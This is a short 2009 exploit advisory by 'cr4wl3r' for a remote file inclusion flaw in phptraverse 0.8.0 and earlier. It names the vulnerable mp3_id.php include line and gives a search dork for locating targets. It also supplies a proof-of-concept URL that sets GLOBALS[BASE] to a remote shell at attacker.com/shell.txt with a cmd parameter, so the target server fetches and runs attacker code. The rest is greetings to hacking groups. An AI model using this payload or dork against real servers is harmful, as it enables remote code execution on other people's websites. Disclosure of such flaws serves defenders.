phptraverse <= 0.8.0 Remote File Inclusion Vulnerability

[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #phptraverse <= 0.8.0 Remote File Include Vulnerability #Download Script : http://sourceforge.net/projects/phptraverse/files/ #Dork : die("Hacking attempt"); :D ######################################################################## # #Vuln : ./phptraverse-0.8.0/assets/plugins/mp3_id/mp3_id.php (line 32) # <?php # include_once $GLOBALS['BASE'].'/PEAR/PEAR.php'; # ?> #PoC : http://server/[path]/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=http://attacker.com/shell.txt?cmd # # # ######################################################################## #Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, # dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :* ######################################################################## /##############################################\ # all member at sekuritionline.net # # all member at manadocoding.net # \##############################################/ [ Gorontalo / 2009 ]